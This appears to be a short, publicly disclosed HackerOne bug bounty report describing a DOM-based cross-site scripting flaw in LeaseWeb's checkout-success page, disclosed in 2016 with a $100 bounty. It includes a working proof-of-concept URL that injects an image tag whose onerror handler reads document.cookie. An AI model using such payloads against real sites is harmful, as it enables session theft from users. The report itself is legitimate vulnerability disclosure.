HexBrain

LeaseWeb · Report #105688

DOM Based XSS in Checkout

Validstatus
$100bounty
1upvotes
26 Feb 2016disclosed

How it was found

Hey,

This works in all browsers I suppose and regardless if the user is currently authenticated or not. Simply go over to : [https://www.leaseweb.com/checkout-success/16893#"><img src=x onerror=alert(document.cookie)>](https://www.leaseweb.com/checkout-success/16893#"><img src=x onerror=alert(document.cookie)>).

Attached herewith is the screenshot.

Thanks!

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original